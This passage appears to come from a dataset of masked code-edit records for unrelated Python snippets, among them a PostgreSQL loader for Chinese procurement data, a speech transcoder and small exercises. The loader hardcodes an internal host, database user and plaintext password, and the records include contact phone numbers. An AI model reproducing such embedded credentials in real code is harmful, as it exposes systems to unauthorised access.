'18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone':\n '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文',\n 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目',\n 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院',\n 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime':\n '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\\xa0\\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）'\n , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone':\n '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号',\n 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName':\n '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone':\n '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix':\n '{\"2.报价书氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44\", \"3.货物指标及要求氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1\"}'\n }]\ndict_tmp = {}\nvalues_list = []\nresult = []\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\ndef prosql():\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password,\n host=hostname, port='5432')\n cursor = conn.cursor()\n procesV()\n sql = \"\"\"insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n \"\"\"\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n conn.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n prosql()\n", "step-5": "from psycopg2 import extras as ex\nimport psycopg2 as pg\nimport json\nimport datetime\nimport os\nfrom functools import reduce\n\n\ndata_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\\xa0\\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）', 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'}\n , {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\\xa0\\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）', 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{\"2.报价书氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44\", \"3.货物指标及要求氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1\"}'}\n ]\n\n\ndict_tmp={}\nvalues_list = []\nresult = []\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k,v in dicobj.items():\n dict_tmp = {}\n dict_tmp[\"file_name\"] = k\n dict_tmp[\"urls\"] =v\n print(k)\n print(v)\n result.append(dict_tmp)\n # dict_tmp.clear()\n return result\n\ndef procesV():\n for i in data_list:\n if \"appendix\" in i.keys():\n appendix = i[\"appendix\"]\n if appendix != \"\":\n fj = processJson(i[\"appendix\"])\n print(fj)\n fjs = json.dumps(fj,ensure_ascii=False)\n values_list.append((\"testtest\",fjs))\n\ndef prosql():\n # values 后面直接%s\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password, host=hostname, port=\"5432\")\n cursor = conn.cursor()\n procesV()\n sql = '''insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n '''\n # 其中函数中的page_size参数默认为100，表示每个statement包含的最大条目数，\n # 如果传过来的argslist长度大于page_size,则该函数最多执行len(argslist)/page_size + 1次。\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n\n conn.close()\n cursor.close()\n\n\n\n\nif __name__ =='__main__':\n prosql()\n # procesV()\n", "step-ids": [ 2, 4, 5, 6, 7 ] }

[ 2, 4, 5, 6, 7 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> def raizCubica(numero): r = pow(numero, 1 / 3) return r <|reserved_special_token_0|> <|reserved_special_token_1|> def raizCubica(numero): r = pow(numero, 1 / 3) return r <|reserved_special_token_0|> for x in range(5): numeros.insert(x, float(input('Ingrese Numero: '))) raices.insert(x, round(raizCubica(numeros[x]), 3)) print('Numeros: ', numeros) print('Raices: ', raices) <|reserved_special_token_1|> def raizCubica(numero): r = pow(numero, 1 / 3) return r numeros = [] raices = [] for x in range(5): numeros.insert(x, float(input('Ingrese Numero: '))) raices.insert(x, round(raizCubica(numeros[x]), 3)) print('Numeros: ', numeros) print('Raices: ', raices) <|reserved_special_token_1|> def raizCubica(numero): r = pow(numero,(1/3)) return r numeros = [] raices = [] for x in range(5): numeros.insert(x, float(input("Ingrese Numero: "))) raices.insert(x, round(raizCubica(numeros[x]),3)) print("Numeros: ", numeros) print("Raices: ", raices)

flexible

{ "blob_id": "180f7f0ade9770c6669680bd13ac8f2fd55cc8c7", "index": 357, "step-1": "<mask token>\n", "step-2": "def raizCubica(numero):\n r = pow(numero, 1 / 3)\n return r\n\n\n<mask token>\n", "step-3": "def raizCubica(numero):\n r = pow(numero, 1 / 3)\n return r\n\n\n<mask token>\nfor x in range(5):\n numeros.insert(x, float(input('Ingrese Numero: ')))\n raices.insert(x, round(raizCubica(numeros[x]), 3))\nprint('Numeros: ', numeros)\nprint('Raices: ', raices)\n", "step-4": "def raizCubica(numero):\n r = pow(numero, 1 / 3)\n return r\n\n\nnumeros = []\nraices = []\nfor x in range(5):\n numeros.insert(x, float(input('Ingrese Numero: ')))\n raices.insert(x, round(raizCubica(numeros[x]), 3))\nprint('Numeros: ', numeros)\nprint('Raices: ', raices)\n", "step-5": "def raizCubica(numero):\n r = pow(numero,(1/3))\n return r\n\nnumeros = []\nraices = []\n\nfor x in range(5):\n numeros.insert(x, float(input(\"Ingrese Numero: \")))\n raices.insert(x, round(raizCubica(numeros[x]),3))\n\nprint(\"Numeros: \", numeros)\nprint(\"Raices: \", raices)", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

from adventurelib import * from horror import * from dating import * from popquiz import * from comedy import * from island import * start()

normal

{ "blob_id": "8a37299154aded37147e1650cbf52a5cdf7d91da", "index": 4225, "step-1": "<mask token>\n", "step-2": "<mask token>\nstart()\n", "step-3": "from adventurelib import *\nfrom horror import *\nfrom dating import *\nfrom popquiz import *\nfrom comedy import *\nfrom island import *\nstart()\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }

[ 0, 1, 2 ]

from tasks import video_compress, video_upload if __name__ == '__main__': video_compress.apply_async(["a"],queue='high') video_compress.apply_async(["b"],queue='low') video_upload.apply_async(["c"], queue='low') video_upload.apply_async(["d"], queue='high')

normal

{ "blob_id": "2cd7d4fe87de66e85bc0d060e2eaa68be39eed02", "index": 9461, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n video_compress.apply_async(['a'], queue='high')\n video_compress.apply_async(['b'], queue='low')\n video_upload.apply_async(['c'], queue='low')\n video_upload.apply_async(['d'], queue='high')\n", "step-3": "from tasks import video_compress, video_upload\nif __name__ == '__main__':\n video_compress.apply_async(['a'], queue='high')\n video_compress.apply_async(['b'], queue='low')\n video_upload.apply_async(['c'], queue='low')\n video_upload.apply_async(['d'], queue='high')\n", "step-4": "from tasks import video_compress, video_upload\nif __name__ == '__main__':\n video_compress.apply_async([\"a\"],queue='high')\n video_compress.apply_async([\"b\"],queue='low')\n video_upload.apply_async([\"c\"], queue='low')\n video_upload.apply_async([\"d\"], queue='high')\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

from django import forms class UploadForm(forms.Form): file = forms.FileField(label="Json с данными об отправлении")

normal

{ "blob_id": "0878bfa1151371ff3aaa59f8be5ea9af74ada331", "index": 4978, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass UploadForm(forms.Form):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label='Json с данными об отправлении')\n", "step-4": "from django import forms\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label='Json с данными об отправлении')\n", "step-5": "from django import forms\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label=\"Json с данными об отправлении\")\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

import spacy nlp = spacy.load("en_core_web_sm") text = ( "Chick-fil-A is an American fast food restaurant chain headquartered in " "the city of College Park, Georgia, specializing in chicken sandwiches." ) # Disable the tagger and parser with ____.____(____): # Process the text doc = ____ # Print the entities in the doc print(____)

normal

{ "blob_id": "6eecf0ff1ad762089db6e9498e906e68b507370c", "index": 1875, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith ____.____(____):\n doc = ____\n print(____)\n", "step-3": "<mask token>\nnlp = spacy.load('en_core_web_sm')\ntext = (\n 'Chick-fil-A is an American fast food restaurant chain headquartered in the city of College Park, Georgia, specializing in chicken sandwiches.'\n )\nwith ____.____(____):\n doc = ____\n print(____)\n", "step-4": "import spacy\nnlp = spacy.load('en_core_web_sm')\ntext = (\n 'Chick-fil-A is an American fast food restaurant chain headquartered in the city of College Park, Georgia, specializing in chicken sandwiches.'\n )\nwith ____.____(____):\n doc = ____\n print(____)\n", "step-5": "import spacy\n\nnlp = spacy.load(\"en_core_web_sm\")\ntext = (\n \"Chick-fil-A is an American fast food restaurant chain headquartered in \"\n \"the city of College Park, Georgia, specializing in chicken sandwiches.\"\n)\n\n# Disable the tagger and parser\nwith ____.____(____):\n # Process the text\n doc = ____\n # Print the entities in the doc\n print(____)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

# -*- coding: utf-8 -*- """Transcoder with TOSHIBA RECAIUS API.""" import threading import queue import time import numpy as np from logzero import logger import requests import model.key AUTH_URL = 'https://api.recaius.jp/auth/v2/tokens' VOICE_URL = 'https://api.recaius.jp/asr/v2/voices' class Transcoder: """Transcoder Class.""" def __init__(self): """Constructor.""" logger.info('__init__:Enter') self._token = None self.transcript = None self._queue = queue.Queue() def start(self, token): """Start recognition.""" logger.info('start:Enter') self._token = token threading.Thread(target=self._process).start() def write_stream(self, buf): """Write audio stream.""" self._queue.put(buf) def _process(self): logger.info('_process:Enter') token = self._authenticate()['token'] uuid = self._start_recognition(token)['uuid'] logger.info('start transcode') i = 1 while True: arr = self._stream_generator() if(arr is None): break # logger.debug(f'{len(arr)} , {self._queue.qsize()}') inline = np.hstack(arr) arr_bytes = inline.tobytes('C') header = { 'Content-Type': 'multipart/form-data', 'X-Token': token } files = { 'voice_id': ('', i, ''), 'voice': ('', arr_bytes, 'application/octet-stream') } resp = requests.put( f'{VOICE_URL}/{uuid}', headers=header, files=files) if(resp.status_code == 200): logger.debug(resp.json()) result = resp.json()[0] if(result[0] == 'TMP_RESULT' or result[0] == 'RESULT'): self._write_result(result[1]) i = i + 1 self._flush_recognition(uuid, token, i) while True: if(self._get_result(uuid, token) is None): break time.sleep(0.1) self._end_recognition(uuid, token) logger.info('end transcode') def _authenticate(self): speechrecog_jajp_id = model.key.RECAIUS_ID speechrecog_jajp_password = model.key.RECAIUS_PASSWORD param = { "speech_recog_jaJP": { 'service_id': speechrecog_jajp_id, 'password': speechrecog_jajp_password } } return requests.post(AUTH_URL, json=param).json() def _flush_recognition(self, uuid, token, i): header = { 'Content-Type': 'application/json', 'X-Token': token } param = { 'voice_id': i, } resp = requests.put( f'{VOICE_URL}/{uuid}/flush', headers=header, json=param) if(resp.status_code == 200): logger.debug(f'frush result:{resp.json()}') return resp.json() else: logger.debug(f'flush result(status:{resp.status_code})') def _get_result(self, uuid, token): header = { 'X-Token': token } resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header) if(resp.status_code == 200): logger.debug(f'get result:{resp.json()}') return resp.json() else: logger.debug(f'get result(status:{resp.status_code})') def _stream_generator(self): arr = [] while True: try: v = self._queue.get_nowait() # print(v) if v is None: return None arr.append((v * 32767).astype(np.int16)) except queue.Empty: if(len(arr) != 0): break else: time.sleep(0.1) return arr def _start_recognition(self, token): header = { 'Content-Type': 'application/json', 'X-Token': token } param = { 'model_id': 1 } return requests.post(VOICE_URL, headers=header, json=param).json() def _end_recognition(self, uuid, token): header = { 'X-Token': token } resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header) if(resp.status_code == 204): logger.debug(f'delete result(status:{resp.status_code})') def _write_result(self, transcipt): self.transcript = transcipt

normal

{ "blob_id": "421b0c1871350ff541b4e56d1e18d77016884552", "index": 5199, "step-1": "<mask token>\n\n\nclass Transcoder:\n <mask token>\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n <mask token>\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n <mask token>\n <mask token>\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-2": "<mask token>\n\n\nclass Transcoder:\n <mask token>\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n <mask token>\n <mask token>\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-3": "<mask token>\n\n\nclass Transcoder:\n <mask token>\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n\n def _get_result(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header)\n if resp.status_code == 200:\n logger.debug(f'get result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'get result(status:{resp.status_code})')\n\n def _stream_generator(self):\n arr = []\n while True:\n try:\n v = self._queue.get_nowait()\n if v is None:\n return None\n arr.append((v * 32767).astype(np.int16))\n except queue.Empty:\n if len(arr) != 0:\n break\n else:\n time.sleep(0.1)\n return arr\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-4": "<mask token>\nAUTH_URL = 'https://api.recaius.jp/auth/v2/tokens'\nVOICE_URL = 'https://api.recaius.jp/asr/v2/voices'\n\n\nclass Transcoder:\n \"\"\"Transcoder Class.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n\n def _get_result(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header)\n if resp.status_code == 200:\n logger.debug(f'get result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'get result(status:{resp.status_code})')\n\n def _stream_generator(self):\n arr = []\n while True:\n try:\n v = self._queue.get_nowait()\n if v is None:\n return None\n arr.append((v * 32767).astype(np.int16))\n except queue.Empty:\n if len(arr) != 0:\n break\n else:\n time.sleep(0.1)\n return arr\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-5": "# -*- coding: utf-8 -*-\n\"\"\"Transcoder with TOSHIBA RECAIUS API.\"\"\"\nimport threading\nimport queue\nimport time\n\nimport numpy as np\nfrom logzero import logger\nimport requests\n\nimport model.key\n\nAUTH_URL = 'https://api.recaius.jp/auth/v2/tokens'\nVOICE_URL = 'https://api.recaius.jp/asr/v2/voices'\n\n\nclass Transcoder:\n \"\"\"Transcoder Class.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if(arr is None):\n break\n # logger.debug(f'{len(arr)} , {self._queue.qsize()}')\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {\n 'Content-Type': 'multipart/form-data',\n 'X-Token': token\n }\n files = {\n 'voice_id': ('', i, ''),\n 'voice': ('', arr_bytes, 'application/octet-stream')\n }\n resp = requests.put(\n f'{VOICE_URL}/{uuid}', headers=header, files=files)\n if(resp.status_code == 200):\n logger.debug(resp.json())\n result = resp.json()[0]\n if(result[0] == 'TMP_RESULT' or result[0] == 'RESULT'):\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if(self._get_result(uuid, token) is None):\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {\n \"speech_recog_jaJP\": {\n 'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password\n }\n }\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {\n 'Content-Type': 'application/json',\n 'X-Token': token\n }\n param = {\n 'voice_id': i,\n }\n resp = requests.put(\n f'{VOICE_URL}/{uuid}/flush', headers=header, json=param)\n if(resp.status_code == 200):\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n\n def _get_result(self, uuid, token):\n header = {\n 'X-Token': token\n }\n resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header)\n if(resp.status_code == 200):\n logger.debug(f'get result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'get result(status:{resp.status_code})')\n\n def _stream_generator(self):\n arr = []\n while True:\n try:\n v = self._queue.get_nowait()\n # print(v)\n if v is None:\n return None\n arr.append((v * 32767).astype(np.int16))\n except queue.Empty:\n if(len(arr) != 0):\n break\n else:\n time.sleep(0.1)\n return arr\n\n def _start_recognition(self, token):\n header = {\n 'Content-Type': 'application/json',\n 'X-Token': token\n }\n param = {\n 'model_id': 1\n }\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {\n 'X-Token': token\n }\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if(resp.status_code == 204):\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-ids": [ 9, 10, 12, 14, 16 ] }

[ 9, 10, 12, 14, 16 ]

from zope import schema from zope import interface from zope import component from raptus.mailcone.rules_regex import _ from raptus.mailcone.rules import interfaces class IRegexItem(interfaces.IConditionItem): """ Interface for regex match filter """ regex = schema.TextLine(title=_('Regex'), required=True, description=_( 'a regular expression')) source = schema.Choice(title=_('Source'), vocabulary= 'raptus.mailcone.mails.mailattributes', required=True)

normal

